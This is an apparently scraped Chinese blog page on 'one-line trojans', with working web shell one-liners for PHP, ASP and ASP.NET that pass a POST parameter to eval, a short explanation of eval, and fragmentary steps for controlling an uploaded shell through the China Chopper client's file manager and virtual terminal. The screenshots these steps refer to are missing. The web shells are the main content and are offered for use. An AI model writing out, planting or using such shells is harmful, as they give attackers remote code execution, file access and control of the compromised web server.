ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>原理:php的..._上传一句话">
赞
踩
一句话木马:
- <?php @eval($_POST['pass']);?>
-
- ASP: <%eval request("pass")%>
-
- ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
原理:
php的eval()函数:eval($str)函数是把$str当做PHP代码执行。
3.上菜刀链接:
右击添加:
右击文件管理:
右击虚拟终端:
在下图中,两个必须相同
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。